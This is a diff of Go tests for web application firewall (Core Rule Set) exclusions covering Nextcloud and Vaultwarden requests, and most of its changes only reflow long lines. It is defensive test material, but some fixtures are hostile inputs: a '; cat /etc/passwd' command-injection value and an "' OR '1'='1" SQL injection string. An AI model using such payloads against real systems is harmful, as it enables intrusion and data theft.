|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||
@@ -115,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
nextcloudSave,
|
||||
jsonBody,
|
||||
`{"filePath":"/%s/Readme.md"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/remote.php/dav/systemtags/",
|
||||
jsonBody,
|
||||
`{"name":"%s"}`,
|
||||
},
|
||||
{
|
||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||
},
|
||||
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
||||
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
||||
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
||||
{
|
||||
nextcloudMkcol,
|
||||
nextcloudCalendars + "work",
|
||||
xmlBody,
|
||||
nextcloudNewCollection,
|
||||
},
|
||||
{
|
||||
nextcloudMkcol,
|
||||
nextcloudAddressBooks + "team",
|
||||
xmlBody,
|
||||
nextcloudNewCollection,
|
||||
},
|
||||
{
|
||||
nextcloudMkcalendar,
|
||||
nextcloudCalendars + "work/",
|
||||
xmlBody,
|
||||
nextcloudNewCalendar,
|
||||
},
|
||||
}
|
||||
|
||||
// The WebDAV methods that make a calendar or an address book.
|
||||
@@ -187,7 +217,12 @@ var nextcloudDocument = nextcloudBody{
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudTexts = []nextcloudBody{
|
||||
nextcloudDocument,
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/remote.php/dav/comments/files/1",
|
||||
jsonBody,
|
||||
`{"message":"%s"}`,
|
||||
},
|
||||
{
|
||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||
@@ -195,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{
|
||||
`</d:propertyupdate>`,
|
||||
},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
nextcloudShares,
|
||||
jsonBody,
|
||||
`{"path":"/Notes","note":"%s"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
||||
formData, "note=%s",
|
||||
@@ -223,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
||||
// nextcloudBodyScore returns the request that sends value, which is not
|
||||
// escaped, in sent's body, and the score crs gives it.
|
||||
func nextcloudBodyScore(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
||||
t *testing.T,
|
||||
crs *coreruleset.CoreRuleSet,
|
||||
sent nextcloudBody,
|
||||
value string,
|
||||
) (string, int) {
|
||||
t.Helper()
|
||||
|
||||
@@ -258,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range nextcloudQueryFields {
|
||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||
scores["GET "+target+value] = inspect(
|
||||
t,
|
||||
crs,
|
||||
get(target+value),
|
||||
).Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudFormFields {
|
||||
@@ -350,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
{"/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{
|
||||
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
|
||||
formData,
|
||||
change,
|
||||
},
|
||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{
|
||||
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
|
||||
formData,
|
||||
recovery,
|
||||
},
|
||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{
|
||||
"/index.php/apps/encryption/ajax/adminRecovery",
|
||||
formData,
|
||||
adminRecovery,
|
||||
},
|
||||
{"/login/confirm", jsonBody, password},
|
||||
{"/index.php/login/confirm", formData, password},
|
||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||
@@ -409,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||
t.Errorf(
|
||||
"%s %.40s refused: %+v",
|
||||
sent.r.headers[0],
|
||||
sent.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -424,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||
t.Errorf(
|
||||
"%s %.40s let through: %+v",
|
||||
sent.r.headers[0],
|
||||
sent.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -452,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||
|
||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
||||
|
||||
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
||||
request, score := nextcloudBodyScore(
|
||||
t,
|
||||
readingBodies(t),
|
||||
nextcloudDocument,
|
||||
document,
|
||||
)
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
@@ -499,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
crs := atDefaults(t)
|
||||
|
||||
cookie := func(value string) request {
|
||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||
return get(
|
||||
"/apps/files/",
|
||||
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
|
||||
)
|
||||
}
|
||||
|
||||
for _, value := range hardValues {
|
||||
@@ -556,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
||||
|
||||
// MKCALENDAR only where the calendars are.
|
||||
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
||||
wantResult(
|
||||
t,
|
||||
crs,
|
||||
request{nextcloudMkcalendar, target, nil},
|
||||
matched(),
|
||||
)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
||||
"/x/remote.php/dav/calendars/",
|
||||
} {
|
||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
||||
wantResult(
|
||||
t,
|
||||
crs,
|
||||
request{nextcloudMkcalendar, target, nil},
|
||||
matched(911100),
|
||||
)
|
||||
}
|
||||
|
||||
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
||||
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
||||
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
||||
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
||||
wantResult(
|
||||
t,
|
||||
crs,
|
||||
request{nextcloudPropFind, target, nil},
|
||||
matched(),
|
||||
)
|
||||
wantResult(
|
||||
t,
|
||||
crs,
|
||||
request{nextcloudMkcol, target, nil},
|
||||
matched(911100),
|
||||
)
|
||||
}
|
||||
|
||||
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
||||
@@ -603,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
||||
} {
|
||||
sent := described.sent
|
||||
|
||||
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
||||
request, score := nextcloudBodyScore(
|
||||
t,
|
||||
crs,
|
||||
sent,
|
||||
described.description,
|
||||
)
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
@@ -625,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
||||
// An MKCOL on the calendars' paths skips only the rules for names.
|
||||
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
||||
|
||||
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
||||
request, score = nextcloudBodyScore(
|
||||
t,
|
||||
crs,
|
||||
sent,
|
||||
described.description,
|
||||
)
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
@@ -661,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
||||
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
||||
},
|
||||
} {
|
||||
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
||||
if got := inspect(t, crs, refused); !slices.Contains(
|
||||
got.RuleIDs,
|
||||
920530,
|
||||
) {
|
||||
t.Errorf("%s %s %q let through: %+v",
|
||||
refused.method, refused.target, refused.headers, got)
|
||||
}
|
||||
@@ -702,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
||||
} {
|
||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
||||
t.Errorf(
|
||||
"%s %s let through: %+v",
|
||||
refused.method,
|
||||
refused.target,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -713,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
||||
methods := []string{
|
||||
http.MethodGet,
|
||||
http.MethodPut,
|
||||
nextcloudPropFind,
|
||||
"MOVE",
|
||||
"LOCK",
|
||||
}
|
||||
|
||||
for _, method := range methods {
|
||||
for _, target := range []string{
|
||||
@@ -801,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||
t.Errorf(
|
||||
"%s %s %s let through: %+v",
|
||||
sent.method,
|
||||
sent.target,
|
||||
sent.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -125,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
typed := slices.ContainsFunc(
|
||||
recorded.Headers,
|
||||
func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
},
|
||||
)
|
||||
if recorded.Body == "" && !typed {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -68,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
vaultwardenProfile,
|
||||
jsonBody,
|
||||
`{"name":"VALUE","culture":"en-US"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenPassword,
|
||||
jsonBody,
|
||||
`{"masterPasswordHint":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/api/organizations", jsonBody,
|
||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenOrganization + "/groups",
|
||||
jsonBody,
|
||||
`{"name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSettings,
|
||||
jsonBody,
|
||||
`{"invitation_org_name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSettings,
|
||||
jsonBody,
|
||||
`{"smtp_from_name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSecurityKey,
|
||||
jsonBody,
|
||||
`{"id":1,"name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut,
|
||||
vaultwardenSecurityKey,
|
||||
jsonBody,
|
||||
`{"id":1,"name":"VALUE"}`,
|
||||
},
|
||||
}
|
||||
|
||||
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||
@@ -91,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{
|
||||
http.MethodPost, "/identity/connect/token", formData,
|
||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||
},
|
||||
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/identity/accounts/prelogin/password",
|
||||
jsonBody,
|
||||
vaultwardenEmail,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSignUp,
|
||||
jsonBody,
|
||||
`{"email":"VALUE","name":"Alice"}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
@@ -106,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{
|
||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenPassword,
|
||||
jsonBody,
|
||||
`{"unlockData":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||
},
|
||||
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/api/accounts/password-hint",
|
||||
jsonBody,
|
||||
vaultwardenEmail,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/api/accounts/email-token",
|
||||
jsonBody,
|
||||
`{"newEmail":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||
`{"email":"VALUE","type":0}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
vaultwardenOrganization,
|
||||
jsonBody,
|
||||
`{"billingEmail":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSettings,
|
||||
jsonBody,
|
||||
`{"smtp_from":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSettings,
|
||||
jsonBody,
|
||||
`{"smtp_username":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
vaultwardenSettings,
|
||||
jsonBody,
|
||||
`{"org_creation_users":"VALUE"}`,
|
||||
},
|
||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/api/two-factor/send-email-login",
|
||||
jsonBody,
|
||||
vaultwardenEmail,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/api/two-factor/send-email",
|
||||
jsonBody,
|
||||
vaultwardenEmail,
|
||||
},
|
||||
{
|
||||
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||
`{"email":"VALUE","token":"123456"}`,
|
||||
},
|
||||
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/api/auth-requests",
|
||||
jsonBody,
|
||||
`{"email":"VALUE","type":0}`,
|
||||
},
|
||||
}
|
||||
|
||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||
@@ -256,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, refused.body)
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
||||
t.Errorf(
|
||||
"POST %s %s let through: %+v",
|
||||
refused.target,
|
||||
refused.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -292,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
||||
func masterPasswordHashes(count int) []string {
|
||||
const size, seed = 32, 288
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
//nolint:gosec // a fixed sample
|
||||
random := rand.New(rand.NewPCG(seed, seed))
|
||||
|
||||
hashes := make([]string, count)
|
||||
|
||||
@@ -340,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
got.RuleIDs,
|
||||
) != 0 {
|
||||
t.Errorf(
|
||||
"POST %s %v set off rules: %+v",
|
||||
sent.r.target,
|
||||
sent.names,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -350,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
||||
encrypted := vaultwardenUpload(
|
||||
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
|
||||
)
|
||||
|
||||
for _, target := range []string{
|
||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||
|
||||
Reference in new issue
Block a user